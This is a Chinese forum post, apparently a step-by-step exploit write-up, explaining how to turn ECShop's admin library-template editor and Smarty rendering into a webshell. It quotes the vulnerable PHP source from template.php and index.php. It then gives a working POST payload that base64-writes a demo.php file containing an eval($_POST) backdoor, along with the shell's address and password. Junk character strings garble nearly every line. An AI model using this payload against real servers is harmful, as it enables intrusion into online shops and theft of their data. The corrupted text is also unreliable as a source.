首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板* _" D* J# z* [/ A7 U: P
, p [/ u8 G, r) E1 u! q
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 {; a+ d3 x0 F& u" `6 x但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
! H3 u6 O! P9 e8 G* `admin/template.php3 _5 G2 ]: F% {/ |' f0 w) S* ?
2 T! E4 O/ n, v P) p4 Y$ U& s* {
1 if ($_REQUEST['act'] == 'update_library') $ N% R' s5 x) @# p+ A* h+ u
" f3 [# H* Y$ g/ d: M/ c# c! I
2
0 U' S( S& y; @2 q
6 k% k4 @5 U7 l$ ?0 [3 { + U2 c3 r" Z: R( z) {3 S; v; l& _
- j. ~% `& J T' s1 z
4 check_authz_json('library_manage'); 7 ]' S/ O2 P- S
; ~3 F* C9 _" H) x6 i, p' ]" O D
5
8 }. |& `8 ?& v' u. l3 e
% B% B" y/ I# ] S: }- c8 x6 $html = stripslashes(json_str_iconv($_POST['html'])); ! I7 U2 i1 g; Z7 G+ {/ B
' h: M5 B' R6 B! H7 h& O7 ' U/ z% h2 u7 o# B
+ y6 P8 H0 h3 m5 L8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 , I9 \* }' Y8 X* X' g
+ E* V4 k. l3 ~; O: Z( B. y
9 0 p& ~3 C6 c" s [9 z0 D6 Y, v
$ B1 I6 L! Y: d/ T10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# e/ Q7 ^1 a1 S& l4 A) S
. w% g8 Y8 w' a: i/ S+ `/ V; W11
% e5 `+ ?$ t6 q; v" C5 g
" p2 [! a. N s7 ~5 p12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); * Y! {+ }' b4 e5 k
. q% @: {) m2 S+ d% }2 C, A1 P
13 % G6 C" c( I8 V' C! L
0 v) A. w9 ]4 j1 I' p
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 v6 W6 r w2 O: X8 ~
! c8 {4 u+ P/ Y6 D' X7 a2 |1 d15 { & C @: b9 v' N- ?) g2 @7 J
- N/ M2 h# O$ \+ a' A
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); / V1 b9 H( L7 P9 ]; y# T) W, z# A( c' A: C
7 a8 w& {/ v. `/ J' g
17 make_json_result('', $_LANG['update_lib_success']); ) a. ]0 Q: H X3 \2 h' h0 P
( Z+ t0 Q3 c' t18 }
3 Z3 O: R7 }- b/ ]8 B6 p8 J( l
19 else 4 ?3 Q5 Q; O. e
3 E& B/ T- I3 b20 {
' k( H$ h& B( g4 R7 I/ t3 w
) u, s; `$ z6 z0 @21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); : O3 h- a- |0 b4 o# c
! p- E* \, M( z* | i# Z1 ?
22 } 7 f. b m9 N, P; A5 I* d3 T' ?+ e
0 t; U! P' y( x# j; q' F5 l; z+ l
23 }
6 x1 l4 [! p/ {3 L) O* f! H/ ~
$ I* K5 j& D0 a0 P1 I: G那么找个比较方便调用了模板的文件) `# [% [" d# t$ E
index.php
$ L( U @6 \# H$ n% r, l3 \5 ]9 q1 s- V! Q: l: S6 d
1 if ($act == 'cat_rec') 5 K. m: I& `" Z0 ~
9 ~* U T8 E% h/ ?: Y) V2 9 O H5 c/ |1 ~& Q! L
& i$ h5 F* T" f6 j
3 {
7 ^/ @$ N) _8 E* g2 U, b- C) l& y) P+ _- `; T4 Z- g
4
3 W4 _6 e) D3 d, w
* i0 Y1 \& P" O4 U8 ?" Q5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / ]; L0 O U% X' j2 c
4 d/ o3 p& _, Q0 @6 d1 G
6 # F7 e* |; N. V) W
3 w( [: u* w |& L4 G- L8 `7 \7 I7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; / @" o0 n* t3 C+ W% F: q0 g
4 Y+ r T( ~( p* y2 x8 / |9 D7 N( O: S- z) b
7 m. F4 ^& ~+ R( X- [
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 h3 M. D' R1 @) ~# |, ^9 Z4 [7 p
5 c( [$ G& s/ c4 T; O" X10
# L2 Q. s$ s. j, Y9 ?0 G+ O
! [5 t- q1 t4 S$ V+ a* [11 include_once('includes/cls_json.php');
+ v7 @1 C% X: x# w! i
5 [* C9 W8 Q9 V; z( N5 U12 % k9 _5 U/ q/ t0 L, h
! I6 G6 E4 u. U5 G7 l1 i
13 $json = new JSON; 6 a" [* A ~0 D
* W8 ]; S5 K+ I6 {0 U h, b
14 ^1 [ u) T/ f, C4 W B$ E
& G& x |2 o2 `7 K, |15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
* c8 H$ {4 `( u% E& U- P- i3 R
) g# f" w/ T' \+ F- c$ p16
6 s& X& D/ D6 M: P4 E; E! `- l) c7 ?2 g7 S+ e1 r" U( B
17 $children = get_children($cat_id);
* N' u0 \* Y* B% }" \7 D# o! @$ c0 g! A
18
; U# `6 A W2 @' q( P- \9 |) Y7 m3 P+ _8 b+ I/ r% D
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
" O/ k" l5 i# ]* j# T e, H( i* j4 s d5 ~5 ~
20
# |$ u& `# P) V; k+ u$ d. z
7 S% ]* e+ o$ Y7 p8 s0 w21 $smarty->assign('cat_rec_sign', 1);
$ S# \% \# Z% S( P1 @. ]" \
j) }0 L- Q* X22
4 A4 O0 y- S* x& b- h* g, @5 R4 V. u% C W1 ]
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
0 o/ Y+ t5 F8 {& `/ G7 D5 ^4 A
' G7 ^& U2 u I$ g# _3 A+ t# J$ H24 % W ]* |0 t0 H$ w4 W
3 ~5 z( a0 u+ j0 O( ?, R/ }9 a
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 6 E5 [: q! c9 u3 [+ z7 k$ p3 @, r& i
, M3 s; r0 J$ K& I) j, ~26 , L1 A `( b }( c' }& V) T
5 W; b4 W0 B! q% O27 echo $rec_array[$rec_type]; 2 d+ T M9 c1 E9 K0 i
: m( D0 N( D+ F. E% M
28
% @! s5 R9 [+ z) }% j6 Q
* h3 J7 l( U, ~8 A5 l S2 m+ R+ _% S29 die($json->encode($result));
! F9 Y- H# V$ o9 E: ^
5 S$ ^4 z6 N" S% R30 8 O" L6 F w9 R0 u" @1 k8 h% h
, M* @' a L) W6 M6 s' x5 S
31 } ( U0 A- ^0 x' F/ X7 s
& P) y# h$ y/ ^2 k2 g
那么就有利用方法了
1 e$ |1 V2 ~- P6 ~, L" bpost包到http://localhost/ec/admin/template.php?act=update_library
1 j8 X" b% s, E4 D) v2 }* y' CPost内容:- @5 e; k" t. X' _
; F9 C: \, a7 _$ Y5 o' U
) t, N' ?# G* }. D1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} " M4 V0 G* d) n$ H/ R i0 U0 X+ x
" L( L* R# c5 r" @
然后访问http://localhost/ec/index.php?act=cat_rec. E2 b$ q' a$ `* X5 u
# B, A, R" |& \9 H8 lshel地址:http://localhost/ec/demo.php( u9 z; C( r4 B+ F: K
密码c4 [2 F: a+ J! ~$ q% [ [
& s. f# N; ?* S |